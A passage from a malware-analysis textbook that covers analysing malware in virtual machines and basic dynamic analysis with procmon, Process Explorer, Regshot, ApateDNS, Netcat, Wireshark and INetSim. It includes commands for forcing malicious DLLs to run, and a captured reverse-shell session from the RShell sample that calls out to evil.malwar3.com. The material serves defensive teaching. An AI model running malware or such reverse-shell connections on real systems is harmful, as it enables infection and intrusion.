does not consider this a vulnerability and does not take explicit steps to avoid 
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detection, but some malware will execute differently when running on a vir-
tual machine to make life difficult for malware analysts. (Chapter 17 discusses 
such anti-VMware techniques in more detail.)

And, like all software, VMware occasionally has vulnerabilities. These can 
be exploited, causing the host OS to crash, or even used to run code on the 
host OS. Although only few public tools or well-documented ways exist to 
exploit VMware, vulnerabilities have been found in the shared folders fea-
ture, and tools have been released to exploit the drag-and-drop functionality. 
Make sure that you keep your VMware version fully patched.

And, of course, even after you take all possible precautions, some risk is 
always present when you’re analyzing malware. Whatever you do, and even 
if you are running your analysis in a virtual machine, you should avoid per-
forming malware analysis on any critical or sensitive machine.

Record/Replay: Running Your Computer in Reverse

One of VMware’s more interesting features is record/replay. This feature in 
VMware Workstation records everything that happens so that you can replay 
the recording at a later time. The recording offers 100 percent fidelity; every 
instruction that executed during the original recording is executed during a 
replay. Even if the recording includes a one-in-a-million race condition that 
you can’t replicate, it will be included in the replay.

VMware also has a movie-capture feature that records only the video out-
put, but record/replay actually executes the CPU instructions of the OS and 
programs. And, unlike a movie, you can interrupt the execution at any point 
to interact with the computer and make changes in the virtual machine. For 
example, if you make a mistake in a program that lacks an undo feature, you 
can restore your virtual machine to the point prior to that mistake to do 
something different.

As we introduce more tools throughout this book, we’ll examine many 
more powerful ways to use record/replay. We’ll return to this feature in 
Chapter 8.

Conclusion

Running and analyzing malware using VMware and virtual machines involves 
the following steps:

1. Start with a clean snapshot with no malware running on it.

2. Transfer the malware to the virtual machine.

3. Conduct your analysis on the virtual machine.

4. Take your notes, screenshots, and data from the virtual machine and 
transfer it to the physical machine.

5. Revert the virtual machine to the clean snapshot.
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As new malware analysis tools are released and existing tools are updated, 
you will need to update your clean base image. Simply install the tools and 
updates, and then take a new, clean snapshot.

To analyze malware, you usually need to run the malware to observe its 
behavior. When running malware, you must be careful not to infect your 
computer or networks. VMware allows you to run malware in a safe, control-
lable environment, and it provides the tools you need to clean the malware 
when you have finished analyzing it.

Throughout this book, when we discuss running malware, we assume 
that you are running the malware within a virtual machine.
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B A S I C  D Y N A M I C  A N A L Y S I S

Dynamic analysis is any examination performed after 
executing malware. Dynamic analysis techniques are 
the second step in the malware analysis process. 
Dynamic analysis is typically performed after basic 
static analysis has reached a dead end, whether due to obfuscation, pack-
ing, or the analyst having exhausted the available static analysis techniques. 
It can involve monitoring malware as it runs or examining the system after 
the malware has executed.

Unlike static analysis, dynamic analysis lets you observe the malware’s 
true functionality, because, for example, the existence of an action string 
in a binary does not mean the action will actually execute. Dynamic analysis 
is also an efficient way to identify malware functionality. For example, if 
your malware is a keylogger, dynamic analysis can allow you to locate the 
keylogger’s log file on the system, discover the kinds of records it keeps, 
decipher where it sends its information, and so on. This kind of insight 
would be more difficult to gain using only basic static techniques.



Although dynamic analysis techniques are extremely powerful, they 
should be performed only after basic static analysis has been completed, 
because dynamic analysis can put your network and system at risk. Dynamic 
techniques do have their limitations, because not all code paths may execute 
when a piece of malware is run. For example, in the case of command-line 
malware that requires arguments, each argument could execute different 
program functionality, and without knowing the options you wouldn’t be 
able to dynamically examine all of the program’s functionality. Your best 
bet will be to use advanced dynamic or static techniques to figure out how 
to force the malware to execute all of its functionality. This chapter describes 
the basic dynamic analysis techniques.

Sandboxes: The Quick-and-Dirty Approach

Several all-in-one software products can be used to perform basic dynamic 
analysis, and the most popular ones use sandbox technology. A sandbox is a 
security mechanism for running untrusted programs in a safe environment 
without fear of harming “real” systems. Sandboxes comprise virtualized envi-
ronments that often simulate network services in some fashion to ensure that 
the software or malware being tested will function normally.

Using a Malware Sandbox
Many malware sandboxes—such as Norman SandBox, GFI Sandbox, Anubis, 
Joe Sandbox, ThreatExpert, BitBlaze, and Comodo Instant Malware Analysis—
will analyze malware for free. Currently, Norman SandBox and GFI Sandbox 
(formerly CWSandbox) are the most popular among computer-security 
professionals.

These sandboxes provide easy-to-understand output and are great for 
initial triage, as long as you are willing to submit your malware to the sand-
box websites. Even though the sandboxes are automated, you might choose 
not to submit malware that contains company information to a public website.

NOTE You can purchase sandbox tools for in-house use, but they are extremely expensive. 
Instead, you can discover everything that these sandboxes can find using the basic tech-
niques discussed in this chapter. Of course, if you have a lot of malware to analyze, it 
might be worth purchasing a sandbox software package that can be configured to pro-
cess malware quickly.

Most sandboxes work similarly, so we’ll focus on one example, GFI 
Sandbox. Figure 3-1 shows the table of contents for a PDF report generated 
by running a file through GFI Sandbox’s automated analysis. The malware 
report includes a variety of details on the malware, such as the network activ-
ity it performs, the files it creates, the results of scanning with VirusTotal, and 
so on.
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Figure 3-1: GFI Sandbox sample results for win32XYZ.exe

Reports generated by GFI Sandbox vary in the number of sections they 
contain, based on what the analysis finds. The GFI Sandbox report has six 
sections in Figure 3-1, as follows:

 The Analysis Summary section lists static analysis information and a high-
level overview of the dynamic analysis results.

 The File Activity section lists files that are opened, created, or deleted for 
each process impacted by the malware.

 The Created Mutexes section lists mutexes created by the malware.

 The Registry Activity section lists changes to the registry.

 The Network Activity section includes network activity spawned by the mal-
ware, including setting up a listening port or performing a DNS request.

 The VirusTotal Results section lists the results of a VirusTotal scan of the 
malware.

Sandbox Drawbacks
Malware sandboxes do have a few major drawbacks. For example, the sand-
box simply runs the executable, without command-line options. If the mal-
ware executable requires command-line options, it will not execute any code 
that runs only when an option is provided. In addition, if your subject mal-
ware is waiting for a command-and-control packet to be returned before 
launching a backdoor, the backdoor will not be launched in the sandbox. 

The sandbox also may not record all events, because neither you nor the 
sandbox may wait long enough. For example, if the malware is set to sleep 
for a day before it performs malicious activity, you may miss that event. (Most 
sandboxes hook the Sleep function and set it to sleep only briefly, but there 
is more than one way to sleep, and the sandboxes cannot account for all of 
these.)
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Other potential drawbacks include the following:

 Malware often detects when it is running in a virtual machine, and if a 
virtual machine is detected, the malware might stop running or behave 
differently. Not all sandboxes take this issue into account.

 Some malware requires the presence of certain registry keys or files on the 
system that might not be found in the sandbox. These might be required 
to contain legitimate data, such as commands or encryption keys.

 If the malware is a DLL, certain exported functions will not be invoked 
properly, because a DLL will not run as easily as an executable.

 The sandbox environment OS may not be correct for the malware. For 
example, the malware might crash on Windows XP but run correctly in 
Windows 7.

 A sandbox cannot tell you what the malware does. It may report basic 
functionality, but it cannot tell you that the malware is a custom Security 
Accounts Manager (SAM) hash dump utility or an encrypted keylogging 
backdoor, for example. Those are conclusions that you must draw on 
your own.

Running Malware

Basic dynamic analysis techniques will be rendered useless if you can’t get 
the malware running. Here we focus on running the majority of malware 
you will encounter (EXEs and DLLs). Although you’ll usually find it simple 
enough to run executable malware by double-clicking the executable or 
running the file from the command line, it can be tricky to launch mali-
cious DLLs because Windows doesn’t know how to run them automatically. 
(We’ll discuss DLL internals in depth in Chapter 7.)

Let’s take a look at how you can launch DLLs to be successful in per-
forming dynamic analysis.

The program rundll32.exe is included with all modern versions of Win-
dows. It provides a container for running a DLL using this syntax:

C:\>rundll32.exe DLLname, Export arguments

The Export value must be a function name or ordinal selected from the 
exported function table in the DLL. As you learned in Chapter 1, you can use 
a tool such as PEview or PE Explorer to view the Export table. For example, 
the file rip.dll has the following exports:

Install
Uninstall

Install appears to be a likely way to launch rip.dll, so let’s launch the mal-
ware as follows:

C:\>rundll32.exe rip.dll, Install
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Malware can also have functions that are exported by ordinal—that is, 
as an exported function with only an ordinal number, which we discussed 
in depth in Chapter 1. In this case, you can still call those functions with 
rundll32.exe using the following command, where 5 is the ordinal number 
that you want to call, prepended with the # character:

C:\>rundll32.exe xyzzy.dll, #5

Because malicious DLLs frequently run most of their code in DLLMain 
(called from the DLL entry point), and because DLLMain is executed whenever 
the DLL is loaded, you can often get information dynamically by forcing the 
DLL to load using rundll32.exe. Alternatively, you can even turn a DLL into 
an executable by modifying the PE header and changing its extension to 
force Windows to load the DLL as it would an executable.

To modify the PE header, wipe the IMAGE_FILE_DLL (0x2000) flag from the 
Characteristics field in the IMAGE_FILE_HEADER. While this change won’t run any 
imported functions, it will run the DLLMain method, and it may cause the mal-
ware to crash or terminate unexpectedly. However, as long as your changes 
cause the malware to execute its malicious payload, and you can collect infor-
mation for your analysis, the rest doesn’t matter.

DLL malware may also need to be installed as a service, sometimes with a 
convenient export such as InstallService, as listed in ipr32x.dll:

C:\>rundll32 ipr32x.dll,InstallService ServiceName
C:\>net start ServiceName

The ServiceName argument must be provided to the malware so it can be 
installed and run. The net start command is used to start a service on a Win-
dows system.

NOTE When you see a ServiceMain function without a convenient exported function such as 
Install or InstallService, you may need to install the service manually. You can do 
this by using the Windows sc command or by modifying the registry for an unused ser-
vice, and then using net start on that service. The service entries are located in the 
registry at HKLM\SYSTEM\CurrentControlSet\Services.

Monitoring with Process Monitor

Process Monitor, or procmon, is an advanced monitoring tool for Windows 
that provides a way to monitor certain registry, file system, network, process, 
and thread activity. It combines and enhances the functionality of two legacy 
tools: FileMon and RegMon. 

Although procmon captures a lot of data, it doesn’t capture everything. 
For example, it can miss the device driver activity of a user-mode component 
talking to a rootkit via device I/O controls, as well as certain GUI calls, such 
as SetWindowsHookEx. Although procmon can be a useful tool, it usually should 
not be used for logging network activity, because it does not work consis-
tently across Microsoft Windows versions.
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WARNING Throughout this chapter, we will use tools to test malware dynamically. When you test 
malware, be sure to protect your computers and networks by using a virtual machine, 
as discussed in the previous chapter.

Procmon monitors all system calls it can gather as soon as it is run. 
Because many system calls exist on a Windows machine (sometimes more 
than 50,000 events a minute), it’s usually impossible to look through them 
all. As a result, because procmon uses RAM to log events until it is told to 
stop capturing, it can crash a virtual machine using all available memory. To 
avoid this, run procmon for limited periods of time. To stop procmon from 
capturing events, choose FileCapture Events. Before using procmon for 
analysis, first clear all currently captured events to remove irrelevant data by 
choosing EditClear Display. Next, run the subject malware with capture 
turned on. After a few minutes, you can discontinue event capture.

The Procmon Display
Procmon displays configurable columns containing information about indi-
vidual events, including the event’s sequence number, timestamp, name of 
the process causing the event, event operation, path used by the event, and 
result of the event. This detailed information can be too long to fit on the 
screen, or it can be otherwise difficult to read. If you find either to be the 
case, you can view the full details of a particular event by double-clicking 
its row.

Figure 3-2 shows a collection of procmon events that occurred on a 
machine running a piece of malware named mm32.exe. Reading the Opera-
tion column will quickly tell you which operations mm32.exe performed on 
this system, including registry and file system accesses. One entry of note 
is the creation of a file C:\Documents and Settings\All Users\Application Data\
mw2mmgr.txt at sequence number 212 using CreateFile. The word SUCCESS 
in the Result column tells you that this operation was successful.

Figure 3-2: Procmon mm32.exe example

Filtering in Procmon
It’s not always easy to find information in procmon when you are looking 
through thousands of events, one by one. That’s where procmon’s filtering 
capability is key. 
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You can set procmon to filter on one executable running on the system. 
This feature is particularly useful for malware analysis, because you can set a 
filter on the piece of malware you are running. You can also filter on individ-
ual system calls such as RegSetValue, CreateFile, WriteFile, or other suspicious 
or destructive calls. 

When procmon filtering is turned on, it filters through recorded events 
only. All recorded events are still available even though the filter shows only a 
limited display. Setting a filter is not a way to prevent procmon from consum-
ing too much memory.

To set a filter, choose FilterFilter to open the Filter menu, as shown in 
the top image of Figure 3-3. When setting a filter, first select a column to fil-
ter on using the drop-down box at the upper left, above the Reset button. 
The most important filters for malware analysis are Process Name, Opera-
tion, and Detail. Next, select a comparator, choosing from options such as Is, 
Contains, and Less Than. Finally, choose whether this is a filter to include or 
exclude from display. Because, by default, the display will show all system 
calls, it is important to reduce the amount displayed.

Figure 3-3: Setting a procmon filter

NOTE Procmon uses some basic filters by default. For example, it contains a filter that excludes 
procmon.exe and one that excludes the pagefile from logging, because it is accessed 
often and provides no useful information.
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As you can see in the first two rows of Figure 3-3, we’re filtering on Pro-
cess Name and Operation. We’ve added a filter on Process Name equal to 
mm32.exe that’s active when the Operation is set to RegSetValue. 

After you’ve chosen a filter, click Add for each, and then click Apply. As a 
result of applying our filters, the display window shown in the lower image dis-
plays only 11 of the 39,351 events, making it easier for us to see that mm32.exe 
performed a RegSetValue of registry key HKLM\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run\Sys32V2Controller (sequence number 3 using RegSetValue). 
Double-clicking this RegSetValue event will reveal the data written to this loca-
tion, which is the current path to the malware.

If the malware extracted another executable and ran it, don’t worry, 
because that information is still there. Remember that the filter controls only 
the display. All of the system calls that occurred when you ran the malware 
are captured, including system calls from malware that was extracted by the 
original executable. If you see any malware extracted, change the filter to dis-
play the extracted name, and then click Apply. The events related to the 
extracted malware will be displayed.

Procmon provides helpful automatic filters on its toolbar. The four filters 
circled in Figure 3-4 filter by the following categories:

Registry By examining registry operations, you can tell how a piece of 
malware installs itself in the registry. 

File system Exploring file system interaction can show all files that the 
malware creates or configuration files it uses.

Process activity Investigating process activity can tell you whether the 
malware spawned additional processes.

Network Identifying network connections can show you any ports on 
which the malware is listening. 

All four filters are selected by default. To turn off a filter, simply click the 
icon in the toolbar corresponding to the category.

Figure 3-4: Filter buttons for procmon

NOTE If your malware runs at boot time, use procmon’s boot logging options to install proc-
mon as a startup driver to capture startup events.

Analysis of procmon’s recorded events takes practice and patience, since 
many events are simply part of the standard way that executables start up. 
The more you use procmon, the easier you will find it to quickly review the 
event listing.
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Viewing Processes with Process Explorer

The Process Explorer, free from Microsoft, is an extremely powerful task 
manager that should be running when you are performing dynamic analysis. 
It can provide valuable insight into the processes currently running on a 
system. 

You can use Process Explorer to list active processes, DLLs loaded by a 
process, various process properties, and overall system information. You can 
also use it to kill a process, log out users, and launch and validate processes.

The Process Explorer Display
Process Explorer monitors the processes running on a system and shows 
them in a tree structure that displays child and parent relationships. For 
example, in Figure 3-5 you can see that services.exe is a child process of 
winlogon.exe, as indicated by the left curly bracket.

Figure 3-5: Process Explorer examining svchost.exe malware

Process Explorer shows five columns: Process (the process name), 
PID (the process identifier), CPU (CPU usage), Description, and Company 
Name. The view updates every second. By default, services are highlighted in 
pink, processes in blue, new processes in green, and terminated processes in 
red. Green and red highlights are temporary, and are removed after the pro-
cess has started or terminated. When analyzing malware, watch the Process 
Explorer window for changes or new processes, and be sure to investigate 
them thoroughly.
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Process Explorer can display quite a bit of information for each process. 
For example, when the DLL information display window is active, you can 
click a process to see all DLLs it loaded into memory. You can change the 
DLL display window to the Handles window, which shows all handles held by 
the process, including file handles, mutexes, events, and so on.

The Properties window shown in Figure 3-6 opens when you double-click 
a process name. This window can provide some particularly useful informa-
tion about your subject malware. The Threads tab shows all active threads, 
the TCP/IP tab displays active connections or ports on which the process is 
listening, and the Image tab (opened in the figure) shows the path on disk to 
the executable.

Figure 3-6: The Properties window, Image tab

Using the Verify Option
One particularly useful Process Explorer feature is the Verify button on the 
Image tab. Click this button to verify that the image on disk is, in fact, the 
Microsoft signed binary. Because Microsoft uses digital signatures for most of 
its core executables, when Process Explorer verifies that a signature is valid, 
you can be sure that the file is actually the executable from Microsoft. This 
feature is particularly useful for verifying that the Windows file on disk has 
not been corrupted; malware often replaces authentic Windows files with its 
own in an attempt to hide.

The Verify button verifies the image on disk rather than in memory, 
and it is useless if an attacker uses process replacement, which involves running a 
process on the system and overwriting its memory space with a malicious exe-
cutable. Process replacement provides the malware with the same privileges 
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as the process it is replacing, so that the malware appears to be executing as a 
legitimate process, but it leaves a fingerprint: The image in memory will dif-
fer from the image on disk. For example, in Figure 3-6, the svchost.exe process 
is verified, yet it is actually malware. We’ll discuss process replacement in 
more detail in Chapter 12.

Comparing Strings
One way to recognize process replacement is to use the Strings tab in the 
Process Properties window to compare the strings contained in the disk exe-
cutable (image) against the strings in memory for that same executable run-
ning in memory. You can toggle between these string views using the buttons 
at the bottom-left corner, as shown in Figure 3-7. If the two string listings are 
drastically different, process replacement may have occurred. This string 
discrepancy is displayed in Figure 3-7. For example, the string FAVORITES.DAT 
appears multiple times in the right half of the figure (svchost.exe in memory), 
but it cannot be found in the left half of the figure (svchost.exe on disk).

Figure 3-7: The Process Explorer Strings tab shows strings on disk (left) versus strings in 
memory (right) for active svchost.exe.

Using Dependency Walker
Process Explorer allows you to launch depends.exe (Dependency Walker) on 
a running process by right-clicking a process name and selecting Launch 
Depends. It also lets you search for a handle or DLL by choosing Find
Find Handle or DLL.

The Find DLL option is particularly useful when you find a malicious 
DLL on disk and want to know if any running processes use that DLL. The 
Verify button verifies the EXE file on disk, but not every DLL loaded during 
runtime. To determine whether a DLL is loaded into a process after load 
time, you can compare the DLL list in Process Explorer to the imports shown 
in Dependency Walker.
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Analyzing Malicious Documents
You can also use Process Explorer to analyze malicious documents, such as 
PDFs and Word documents. A quick way to determine whether a document 
is malicious is to open Process Explorer and then open the suspected mali-
cious document. If the document launches any processes, you should see 
them in Process Explorer, and be able to locate the malware on disk via the 
Image tab of the Properties window.

NOTE Opening a malicious document while using monitoring tools can be a quick way to 
determine whether a document is malicious; however, you will have success running 
only vulnerable versions of the document viewer. In practice, it is best to use intention-
ally unpatched versions of the viewing application to ensure that the exploitation will 
be successful. The easiest way to do this is with multiple snapshots of your analysis vir-
tual machine, each with old versions of document viewers such as Adobe Reader and 
Microsoft Word.

Comparing Registry Snapshots with Regshot

Listing 3-1 displays a subset of the results generated by Regshot during 
malware analysis. Registry snapshots were taken before and after running the 
spyware ckr.exe. 

Regshot
Comments:
Datetime: <date>
Computer: MALWAREANALYSIS
Username: username

----------------------------------
Keys added: 0
----------------------------------

Regshot (shown in Figure 3-8) is 
an open source registry compari-
son tool that allows you to take 
and compare two registry snap-
shots.

To use Regshot for malware 
analysis, simply take the first shot 
by clicking the 1st Shot button, 
and then run the malware and 
wait for it to finish making any 
system changes. Next, take the 
second shot by clicking the 2nd 
Shot button. Finally, click the 
Compare button to compare the 
two snapshots.

Figure 3-8: Regshot window
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----------------------------------
Values added:3
----------------------------------

 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ckr:C:\WINDOWS\system32\
ckr.exe
...
...

----------------------------------
Values modified:2
----------------------------------

 HKLM\SOFTWARE\Microsoft\Cryptography\RNG\Seed: 00 43 7C 25 9C 68 DE 59 C6 C8 
9D C3 1D E6 DC 87 1C 3A C4 E4 D9 0A B1 BA C1 FB 80 EB 83 25 74 C4 C5 E2 2F CE 
4E E8 AC C8 49 E8 E8 10 3F 13 F6 A1 72 92 28 8A 01 3A 16 52 86 36 12 3C C7 EB 
5F 99 19 1D 80 8C 8E BD 58 3A DB 18 06 3D 14 8F 22 A4
...

----------------------------------
Total changes:5
----------------------------------

Listing 3-1: Regshot comparison results

As you can see ckr.exe creates a value at HKLM\SOFTWARE\Microsoft\Windows\
CurrentVersion\Run as a persistence mechanism . A certain amount of noise  
is typical in these results, because the random-number generator seed is con-
stantly updated in the registry. 

As with procmon, your analysis of these results requires patient scanning 
to find nuggets of interest.

Faking a Network

Malware often beacons out and eventually communicates with a command-
and-control server, as we’ll discuss in depth in Chapter 14. You can create a 
fake network and quickly obtain network indicators, without actually connect-
ing to the Internet. These indicators can include DNS names, IP addresses, 
and packet signatures. 

To fake a network successfully, you must prevent the malware from real-
izing that it is executing in a virtualized environment. (See Chapter 2 for a 
discussion on setting up virtual networks with VMware.) By combining the 
tools discussed here with a solid virtual machine network setup, you will 
greatly increase your chances of success.

Using ApateDNS
ApateDNS, a free tool from Mandiant (www.mandiant.com/products/research/
mandiant_apatedns/download), is the quickest way to see DNS requests made 
by malware. ApateDNS spoofs DNS responses to a user-specified IP address by 
listening on UDP port 53 on the local machine. It responds to DNS requests 
with the DNS response set to an IP address you specify. ApateDNS can display 
the hexadecimal and ASCII results of all requests it receives.
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To use ApateDNS, set the IP address you want sent in DNS responses 
at  and select the interface at . Next, press the Start Server button; this 
will automatically start the DNS server and change the DNS settings to 
localhost. Next, run your malware and watch as DNS requests appear in 
the ApateDNS window. For example, in Figure 3-9, we redirect the DNS 
requests made by malware known as RShell. We see that the DNS information 
is requested for evil.malwar3.com and that request was made at 13:22:08 . 

Figure 3-9: ApateDNS responding to a request for evil.malwar3.com

In the example shown in the figure, we redirect DNS requests to 
127.0.0.1 (localhost), but you may want to change this address to point to 
something external, such as a fake web server running on a Linux virtual 
machine. Because the IP address will differ from that of your Windows mal-
ware analysis virtual machine, be sure to enter the appropriate IP address 
before starting the server. By default ApateDNS will use the current gateway 
or current DNS settings to insert into DNS responses.

You can catch additional domains used by a malware sample through 
the use of the nonexistent domain (NXDOMAIN) option at . Malware will 
often loop through the different domains it has stored if the first or second 
domains are not found. Using this NXDOMAIN option can trick malware 
into giving you additional domains it has in its configuration.

Monitoring with Netcat
Netcat, the “TCP/IP Swiss Army knife,” can be used over both inbound and 
outbound connections for port scanning, tunneling, proxying, port forward-
ing, and much more. In listen mode, Netcat acts as a server, while in connect 
mode it acts as a client. Netcat takes data from standard input for transmis-
sion over the network. All the data it receives is output to the screen via stan-
dard output.

Let’s look at how you can use Netcat to analyze the malware RShell from 
Figure 3-9. Using ApateDNS, we redirect the DNS request for evil.malwar3.com 
to our local host. Assuming that the malware is going out over port 80 (a 
common choice), we can use Netcat to listen for connections before exe-
cuting the malware.

Malware frequently uses port 80 or 443 (HTTP or HTTPS traffic, respec-
tively), because these ports are typically not blocked or monitored as outbound 
connections. Listing 3-2 shows an example.

�

�
�

�
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C:\> nc –l –p 80 
POST /cq/frame.htm HTTP/1.1
Host: www.google.com 
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; TWFsd2FyZUh1bnRlcg==; 
rv:1.38)
Accept: text/html, application
Accept-Language: en-US, en:q=
Accept-Encoding: gzip, deflate
Keep-Alive: 300
Content-Type: application/x-form-urlencoded
Content-Length

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

Z:\Malware> 

Listing 3-2: Netcat example listening on port 80

The Netcat (nc) command  shows the options required to listen on a 
port. The –l flag means listen, and –p (with a port number) specifies the port 
on which to listen. The malware connects to our Netcat listener because we’re 
using ApateDNS for redirection. As you can see, RShell is a reverse shell , 
but it does not immediately provide the shell. The network connection first 
appears as an HTTP POST request to www.google.com , fake POST data that 
RShell probably inserts to obfuscate its reverse shell, because network analysts 
frequently look only at the start of a session.

Packet Sniffing with Wireshark

Wireshark is an open source sniffer, a packet capture tool that intercepts and 
logs network traffic. Wireshark provides visualization, packet-stream analysis, 
and in-depth analysis of individual packets.

Like many tools discussed in this book, Wireshark can be used for both 
good and evil. It can be used to analyze internal networks and network usage, 
debug application issues, and study protocols in action. But it can also be 
used to sniff passwords, reverse-engineer network protocols, steal sensitive 
information, and listen in on the online chatter at your local coffee shop.

The Wireshark display has four parts, as shown in Figure 3-10:

 The Filter box  is used to filter the packets displayed. 

 The packet listing  shows all packets that satisfy the display filter. 

 The packet detail window  displays the contents of the currently 
selected packet (in this case, packet 47).

 The hex window  displays the hex contents of the current packet. The 
hex window is linked with the packet detail window and will highlight 
any fields you select.
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Figure 3-10: Wireshark DNS and HTTP example

To use Wireshark to view the contents of a TCP session, right-click any 
TCP packet and select Follow TCP Stream. As you can see in Figure 3-11, 
both ends of the conversation are displayed in session order, with different 
colors showing each side of the connection.

Figure 3-11: Wireshark’s Follow TCP Stream window

�
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�
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To capture packets, choose CaptureInterfaces and select the interface 
you want to use to collect packets. Options include using promiscuous mode 
or setting a capture filter.

WARNING Wireshark is known to have many security vulnerabilities, so be sure to run it in a safe 
environment.

Wireshark can help you to understand how malware is performing net-
work communication by sniffing packets as the malware communicates. To 
use Wireshark for this purpose, connect to the Internet or simulate an 
Internet connection, and then start Wireshark’s packet capture and run 
the malware. (You can use Netcat to simulate an Internet connection.)

Chapter 14 discusses protocol analysis and additional uses of Wireshark 
in more detail.

Using INetSim

INetSim is a free, Linux-based software suite for simulating common Inter-
net services. The easiest way to run INetSim if your base operating system is 
Microsoft Windows is to install it on a Linux virtual machine and set it up on 
the same virtual network as your malware analysis virtual machine.

INetSim is the best free tool for providing fake services, allowing you to 
analyze the network behavior of unknown malware samples by emulating ser-
vices such as HTTP, HTTPS, FTP, IRC, DNS, SMTP, and others. Listing 3-3 
displays all services that INetSim emulates by default, all of which (including 
the default ports used) are shown here as the program is starting up. 

  * dns 53/udp/tcp - started (PID 9992)
  * http 80/tcp - started (PID 9993)
  * https 443/tcp - started (PID 9994)
  * smtp 25/tcp - started (PID 9995)
  * irc 6667/tcp - started (PID 10002)
  * smtps 465/tcp - started (PID 9996)
  * ntp 123/udp - started (PID 10003)
  * pop3 110/tcp - started (PID 9997)
  * finger 79/tcp - started (PID 10004)
  * syslog 514/udp - started (PID 10006)
  * tftp 69/udp - started (PID 10001)
  * pop3s 995/tcp - started (PID 9998)
  * time 37/tcp - started (PID 10007)
  * ftp 21/tcp - started (PID 9999)
  * ident 113/tcp - started (PID 10005)
  * time 37/udp - started (PID 10008)
  * ftps 990/tcp - started (PID 10000)
  * daytime 13/tcp - started (PID 10009)
  * daytime 13/udp - started (PID 10010)
  * echo 7/tcp - started (PID 10011)
  * echo 7/udp - started (PID 10012)
  * discard 9/udp - started (PID 10014)
Basic Dynamic Analys i s 55



  * discard 9/tcp - started (PID 10013)
  * quotd 17/tcp - started (PID 10015)
  * quotd 17/udp - started (PID 10016)
  * chargen 19/tcp - started (PID 10017)
  * dummy 1/udp - started (PID 10020)
  * chargen 19/udp - started (PID 10018)
  * dummy 1/tcp - started (PID 10019)

Listing 3-3: INetSim default emulated services

INetSim does its best to look like a real server, and it has many easily con-
figurable features to ensure success. For example, by default, it returns the 
banner of Microsoft IIS web server if is it scanned.

Some of INetSim’s best features are built into its HTTP and HTTPS 
server simulation. For example, INetSim can serve almost any file requested. 
For example, if a piece of malware requests a JPEG from a website to con-
tinue its operation, INetSim will respond with a properly formatted JPEG. 
Although that image might not be the file your malware is looking for, the 
server does not return a 404 or another error, and its response, even if incor-
rect, can keep the malware running.

INetSim can also record all inbound requests and connections, which 
you’ll find particularly useful for determining whether the malware is con-
nected to a standard service or to see the requests it is making. And INetSim 
is extremely configurable. For example, you can set the page or item returned 
after a request, so if you realize that your subject malware is looking for a par-
ticular web page before it will continue execution, you can provide that page. 
You can also modify the port on which various services listen, which can be 
useful if malware is using nonstandard ports.

And because INetSim is built with malware analysis in mind, it offers 
many unique features, such as its Dummy service, a feature that logs all data 
received from the client, regardless of the port. The Dummy service is most 
useful for capturing all traffic sent from the client to ports not bound to any 
other service module. You can use it to record all ports to which the malware 
connects and the corresponding data that is sent. At least the TCP hand-
shake will complete, and additional data can be gathered.

Basic Dynamic Tools in Practice

All the tools discussed in this chapter can be used in concert to maximize 
the amount of information gleaned during dynamic analysis. In this section, 
we’ll look at all the tools discussed in the chapter as we present a sample 
setup for malware analysis. Your setup might include the following:

1. Running procmon and setting a filter on the malware executable name 
and clearing out all events just before running.

2. Starting Process Explorer.

3. Gathering a first snapshot of the registry using Regshot.
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4. Setting up your virtual network to your liking using INetSim and 
ApateDNS.

5. Setting up network traffic logging using Wireshark.

Figure 3-12 shows a diagram of a virtual network that can be set up for 
malware analysis. This virtual network contains two hosts: the malware analy-
sis Windows virtual machine and the Linux virtual machine running INetSim. 
The Linux virtual machine is listening on many ports, including HTTPS, 
FTP, and HTTP, through the use of INetSim. The Windows virtual machine 
is listening on port 53 for DNS requests through the use of ApateDNS. The 
DNS server for the Windows virtual machine has been configured to local-
host (127.0.0.1). ApateDNS is configured to redirect you to the Linux virtual 
machine (192.168.117.169). 

If you attempt to browse to a website using the Windows virtual machine, 
the DNS request will be resolved by ApateDNS redirecting you to the Linux 
virtual machine. The browser will then perform a GET request over port 80 to 
the INetSim server listening on that port on the Linux virtual machine.

Figure 3-12: Example of a virtual network

Let’s see how this setup would work in practice by examining the mal-
ware msts.exe. We complete our initial setup and then run msts.exe on our 
malware analysis virtual machine. After some time, we stop event capture 
with procmon and run a second snapshot with Regshot. At this point we 
begin analysis as follows:

1. Examine ApateDNS to see if DNS requests were performed. As shown in 
Figure 3-13, we notice that the malware performed a DNS request for 
www.malwareanalysisbook.com.

Figure 3-13: ApateDNS request for 
www.malwareanalysisbook.com

Virtual Network

Windows Virtual Machine

IP Address = 192.168.117.170
DNS Server = 127.0.0.1

Browser DNS Request

Browser HTTP GET

Linux Virtual Machine
INetSim

IP Address = 192.168.117.169

DNS: 53

ApateDNS Redirect
192.168.117.169

HTTPS: 443

FTP: 21

HTTP: 80

etc.
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2. Review the procmon results for file system modifications. In the 
procmon results shown in Figure 3-14, we see CreateFile and WriteFile 
(sequence numbers 141 and 142) operations for C:\WINDOWS\system32\
winhlp2.exe. Upon further investigation, we compare winhlp2.exe to 
msts.exe and see that they are identical. We conclude that the malware 
copies itself to that location.

Figure 3-14: Procmon output with the msts.exe filter set

3. Compare the two snapshots taken with Regshot to identify changes. 
Reviewing the Regshot results, shown next, we see that the malware 
installed the autorun registry value winhlp at HKLM\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run location. The data written to that value is 
where the malware copied itself (C:\WINDOWS\system32\winhlp2.exe), 
and that newly copied binary will execute upon system reboot.

Values added:3
----------------------------------
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winhlp: C:\WINDOWS\system32\winhlp2.exe

4. Use Process Explorer to examine the process to determine whether it cre-
ates mutexes or listens for incoming connections. The Process Explorer 
output in Figure 3-15 shows that msts.exe creates a mutex (also known as a 
mutant) named Evil1 . We discuss mutexes in depth in Chapter 7, but 
you should know that msts.exe likely created the mutex to ensure that only 
one version of the malware is running at a time. Mutexes can provide an 
excellent fingerprint for malware if they are unique enough.

5. Review the INetSim logs for requests and attempted connections on 
standard services. The first line in the INetSim logs (shown next) tells us 
that the malware communicates over port 443, though not with standard 
Secure Sockets Layer (SSL), as shown next in the reported errors at .

[2010-X] [15013] [https 443/tcp 15199] [192.168.117.128:1043] connect
[2010-X] [15013] [https 443/tcp 15199] [192.168.117.128:1043]

 Error setting up SSL:  SSL accept attempt failed with unknown error
Error:140760FC:SSL routines:SSL23_GET_CLIENT_HELLO:unknown protocol
[2010-X] [15013] [https 443/tcp 15199] [192.168.117.128:1043] disconnect
